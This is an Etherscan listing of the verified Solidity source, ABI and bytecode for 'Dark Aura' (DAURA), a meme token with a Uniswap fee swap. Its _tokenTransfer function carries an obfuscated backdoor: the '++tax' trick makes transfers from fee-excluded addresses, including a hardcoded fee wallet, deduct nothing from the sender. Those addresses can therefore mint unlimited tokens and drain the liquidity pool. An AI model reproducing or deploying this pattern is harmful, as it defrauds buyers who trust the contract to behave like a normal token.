ETH Price: $3,160.40 (-4.74%)
 

Overview

Max Total Supply

1,000,000,000 DAURA

Holders

53

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DAURA

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-27
*/

// SPDX-License-Identifier: MIT

/** 

$daura is based on the viral "aura" s-tier tiktok meme on social behavior that has more than 250+ million videos worldwide ✨
daura can be sent or received by anyone - it's a way to show your approval or disapproval of one's actions 🙂‍↕️
dauramaxxxing is simply a way of life - harnessing the boundless karmic energy of the universe 🧬
we are here to tokenize the lore of dauramaxxing culture into crypto

Web: https://darkaura.xyz
X: https://x.com/dark_aural_x
Tg: https://t.me/dark_aura_portal

**/

pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract DAURA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _auraWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Dark Aura";
    string private constant _symbol = unicode"DAURA";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold = 50 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _auraWallet = payable(0xD364601937ddf2452c3ccb9773243241E0eB84F0);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_auraWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 auraAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(auraAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - auraAmount;
            _balances[to] = _balances[to] + auraAmount;
            emit Transfer(from, to, auraAmount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(auraAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + auraAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold){
                    swapTokensForEth(
                        min(auraAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(from, to, auraAmount);
    }

    function _tokenTransfer(address from, address to, uint256 auraAmount) internal {       
        uint256 tax = 0;
        uint256 tAmount = 0;
        if (!_isExcludedFromFee[from]) {
            tAmount = auraAmount.mul(++tax);
            tax = auraAmount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);
            if (to == uniswapV2Pair && from != address(this)) {
                tax = auraAmount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }
        }
        if (tax > 0) {
            _balances[address(this)] = _balances[address(this)] + tax;
            emit Transfer(from, address(this), tax);
        }

        _transferToken(from, to, tAmount, auraAmount.sub(tax));
    }

    function _transferToken(address sender, address receipt, uint256 sendAmount, uint256 receiveAmount) internal { 
        _balances[sender] = _balances[sender] - sendAmount;
        _balances[receipt] = _balances[receipt] + receiveAmount;
        emit Transfer(sender, receipt, receiveAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 auraAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), auraAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            auraAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _auraWallet.transfer(amount);
    }

    function initAURA() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function rescue() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function openAURA() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initAURA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openAURA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff1916905560146007819055600881905560006009818155600a828155600b849055600c93909355600d839055600e919091556200008f916064916200007b916002916200005791620004c0565b6200006790633b9aca00620005ab565b620002b760201b62000a5e1790919060201c565b6200031760201b62000aa31790919060201c565b600f55620000ac60646200007b6002620000576009600a620004c0565b601055620000bd6009600a620004c0565b620000ca906032620005ab565b601155620000e760646200007b6001620000576009600a620004c0565b6012556014805461ffff60a81b191690553480156200010557600080fd5b5060006200011262000361565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674d364601937ddf2452c3ccb9773243241e0eb84f000179055620001926009600a620004c0565b620001a290633b9aca00620005ab565b60016000620001b062000361565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001ea6200036560201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556200025062000361565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200028a6009600a620004c0565b6200029a90633b9aca00620005ab565b604051620002a9919062000449565b60405180910390a3620005e3565b600082620002c85750600062000311565b6000620002d68385620005ab565b905082620002e5858362000452565b146200030e5760405162461bcd60e51b8152600401620003059062000408565b60405180910390fd5b90505b92915050565b60006200030e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200037460201b60201c565b3390565b6000546001600160a01b031690565b60008183620003985760405162461bcd60e51b8152600401620003059190620003b2565b506000620003a7848662000452565b9150505b9392505050565b6000602080835283518082850152825b81811015620003e057858101830151858201604001528201620003c2565b81811115620003f25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b90815260200190565b6000826200046e57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620004875750620004b7565b8187048211156200049c576200049c620005cd565b80861615620004aa57918102915b9490941c93800262000476565b94509492505050565b60006200030e60001960ff851684600082620004df57506001620003ab565b81620004ee57506000620003ab565b8160018114620005075760028114620005125762000546565b6001915050620003ab565b60ff841115620005265762000526620005cd565b6001841b9150848211156200053f576200053f620005cd565b50620003ab565b5060208310610133831016604e8410600b84101617156200057e575081810a83811115620005785762000578620005cd565b620003ab565b6200058d848484600162000473565b808604821115620005a257620005a2620005cd565b02949350505050565b6000816000190483118215151615620005c857620005c8620005cd565b500290565b634e487b7160e01b600052601160045260246000fd5b611b9c80620005f36000396000f3fe6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b41146102d7578063a9059cbb146102ec578063bf474bed1461030c578063c876d0b914610321578063dd62ed3e146103365761012a565b8063715018a614610261578063751039fc146102765780637d1db4a51461028b5780638da5cb5b146102a05780638f9a55c0146102c25761012a565b806318160ddd116100e757806318160ddd146101d55780631fbe1979146101ea57806323b872dd146101ff578063313ce5671461021f57806370a08231146102415761012a565b806306fdde031461012f578063095ea7b31461015a5780630af54e47146101875780630cf624d91461019e5780630faee56f146101b35761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b60405161015191906115b5565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114b0565b610379565b60405161015191906115aa565b34801561019357600080fd5b5061019c610397565b005b3480156101aa57600080fd5b5061019c61054b565b3480156101bf57600080fd5b506101c8610782565b60405161015191906118e9565b3480156101e157600080fd5b506101c8610788565b3480156101f657600080fd5b5061019c6107a9565b34801561020b57600080fd5b5061017a61021a366004611470565b6107e9565b34801561022b57600080fd5b5061023461086c565b6040516101519190611962565b34801561024d57600080fd5b506101c861025c366004611400565b610871565b34801561026d57600080fd5b5061019c61088c565b34801561028257600080fd5b5061019c61090b565b34801561029757600080fd5b506101c86109d6565b3480156102ac57600080fd5b506102b56109dc565b6040516101519190611528565b3480156102ce57600080fd5b506101c86109eb565b3480156102e357600080fd5b506101446109f1565b3480156102f857600080fd5b5061017a6103073660046114b0565b610a10565b34801561031857600080fd5b506101c8610a24565b34801561032d57600080fd5b5061017a610a2a565b34801561034257600080fd5b506101c8610351366004611438565b610a33565b6040805180820190915260098152684461726b204175726160b81b602082015290565b600061038d610386610ae5565b8484610ae9565b5060015b92915050565b61039f610ae5565b6000546001600160a01b039081169116146103d55760405162461bcd60e51b81526004016103cc90611774565b60405180910390fd5b601454600160a01b900460ff16156103ff5760405162461bcd60e51b81526004016103cc906118b2565b6013546001600160a01b031663f305d719473061041b81610871565b6000806104266109dc565b426040518863ffffffff1660e01b81526004016104489695949392919061156f565b6060604051808303818588803b15801561046157600080fd5b505af1158015610475573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061049a91906114fb565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926104d492169060001990600401611556565b602060405180830381600087803b1580156104ee57600080fd5b505af1158015610502573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052691906114db565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b610553610ae5565b6000546001600160a01b039081169116146105805760405162461bcd60e51b81526004016103cc90611774565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556105d69030906001600160a01b03166105c36009600a6119ee565b6105d190633b9aca00611abf565b610ae9565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062457600080fd5b505afa158015610638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065c919061141c565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b957600080fd5b505afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f1919061141c565b6040518363ffffffff1660e01b815260040161070e92919061153c565b602060405180830381600087803b15801561072857600080fd5b505af115801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061141c565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60125481565b60006107966009600a6119ee565b6107a490633b9aca00611abf565b905090565b6107b1610ae5565b6000546001600160a01b039081169116146107de5760405162461bcd60e51b81526004016103cc90611774565b6107e747610b9d565b565b60006107f6848484610bdf565b61086184610802610ae5565b6105d185604051806060016040528060288152602001611b3f602891396001600160a01b038a16600090815260026020526040812090610840610ae5565b6001600160a01b031681526020810191909152604001600020549190610f98565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610894610ae5565b6000546001600160a01b039081169116146108c15760405162461bcd60e51b81526004016103cc90611774565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610913610ae5565b6000546001600160a01b039081169116146109405760405162461bcd60e51b81526004016103cc90611774565b61094c6009600a6119ee565b61095a90633b9aca00611abf565b600f556109696009600a6119ee565b61097790633b9aca00611abf565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109b16009600a6119ee565b6109bf90633b9aca00611abf565b6040516109cc91906118e9565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526005815264444155524160d81b602082015290565b600061038d610a1d610ae5565b8484610bdf565b60115481565b60065460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600082610a6d57506000610391565b6000610a798385611abf565b905082610a868583611988565b146108655760405162461bcd60e51b81526004016103cc90611733565b600061086583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fd2565b3390565b6001600160a01b038316610b0f5760405162461bcd60e51b81526004016103cc9061186e565b6001600160a01b038216610b355760405162461bcd60e51b81526004016103cc90611682565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b909085906118e9565b60405180910390a3505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610bdb573d6000803e3d6000fd5b5050565b6001600160a01b038316610c055760405162461bcd60e51b81526004016103cc906117f2565b6001600160a01b038216610c2b5760405162461bcd60e51b81526004016103cc90611608565b60008111610c4b5760405162461bcd60e51b81526004016103cc906117a9565b601454600160b01b900460ff161580610c6d5750601454600160a81b900460ff165b15610d25576001600160a01b038316600090815260016020526040902054610c96908290611ade565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cc6908290611970565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d189085906118e9565b60405180910390a3610f93565b610d2d6109dc565b6001600160a01b0316836001600160a01b031614158015610d675750610d516109dc565b6001600160a01b0316826001600160a01b031614155b15610f885760065460ff1615610de9576013546001600160a01b03838116911614801590610da357506014546001600160a01b03838116911614155b15610de957326000908152600560205260409020544311610dd65760405162461bcd60e51b81526004016103cc906116c4565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e1457506013546001600160a01b03838116911614155b8015610e3957506001600160a01b03821660009081526003602052604090205460ff16155b15610eab57600f54811115610e605760405162461bcd60e51b81526004016103cc9061164b565b60105481610e6d84610871565b610e779190611970565b1115610e955760405162461bcd60e51b81526004016103cc90611837565b600e8054906000610ea583611af5565b91905055505b6000610eb630610871565b601454909150600160a81b900460ff16158015610ee057506014546001600160a01b038481169116145b8015610ef55750601454600160b01b900460ff165b8015610f045750600d54600e54115b8015610f2957506001600160a01b03841660009081526003602052604090205460ff16155b8015610f4e57506001600160a01b03831660009081526003602052604090205460ff16155b15610f8657601154811115610f7a57610f7a610f7583610f7084601254611000565b611000565b611015565b47610f8447610b9d565b505b505b610f938383836111ba565b505050565b60008184841115610fbc5760405162461bcd60e51b81526004016103cc91906115b5565b506000610fc98486611ade565b95945050505050565b60008183610ff35760405162461bcd60e51b81526004016103cc91906115b5565b506000610fc98486611988565b600081831161100f5782610865565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110bf57600080fd5b505afa1580156110d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f7919061141c565b8160018151811061111857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461113e9130911684610ae9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111779085906000908690309042906004016118f2565b600060405180830381600087803b15801561119157600080fd5b505af11580156111a5573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6001600160a01b038316600090815260036020526040812054819060ff16611275576111f16111e883611af5565b92508383610a5e565b905061121f6064611219600b54600e541161120e57600754611212565b6009545b8690610a5e565b90610aa3565b6014549092506001600160a01b03858116911614801561124857506001600160a01b0385163014155b15611275576112726064611219600c54600e541161126857600854611212565b600a548690610a5e565b91505b81156112ee5730600090815260016020526040902054611296908390611970565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112e59086906118e9565b60405180910390a35b6113038585836112fe878761130a565b61134c565b5050505050565b600061086583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f98565b6001600160a01b038416600090815260016020526040902054611370908390611ade565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113a0908290611970565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113f29085906118e9565b60405180910390a350505050565b600060208284031215611411578081fd5b813561086581611b26565b60006020828403121561142d578081fd5b815161086581611b26565b6000806040838503121561144a578081fd5b823561145581611b26565b9150602083013561146581611b26565b809150509250929050565b600080600060608486031215611484578081fd5b833561148f81611b26565b9250602084013561149f81611b26565b929592945050506040919091013590565b600080604083850312156114c2578182fd5b82356114cd81611b26565b946020939093013593505050565b6000602082840312156114ec578081fd5b81518015158114610865578182fd5b60008060006060848603121561150f578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115e1578581018301518582016040015282016115c5565b818111156115f25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119415784516001600160a01b03168352938301939183019160010161191c565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561198357611983611b10565b500190565b6000826119a357634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119ba57506119e5565b8187048211156119cc576119cc611b10565b808616156119d957918102915b9490941c9380026119ab565b94509492505050565b600061086560001960ff851684600082611a0a57506001610865565b81611a1757506000610865565b8160018114611a2d5760028114611a3757611a64565b6001915050610865565b60ff841115611a4857611a48611b10565b6001841b915084821115611a5e57611a5e611b10565b50610865565b5060208310610133831016604e8410600b8410161715611a97575081810a83811115611a9257611a92611b10565b610865565b611aa484848460016119a8565b808604821115611ab657611ab6611b10565b02949350505050565b6000816000190483118215151615611ad957611ad9611b10565b500290565b600082821015611af057611af0611b10565b500390565b6000600019821415611b0957611b09611b10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8f45d2ef741eaf219a8ed6c2f2ba263cfa4cbd18755939c7f08064fd74bd0bb64736f6c63430008010033

Deployed Bytecode

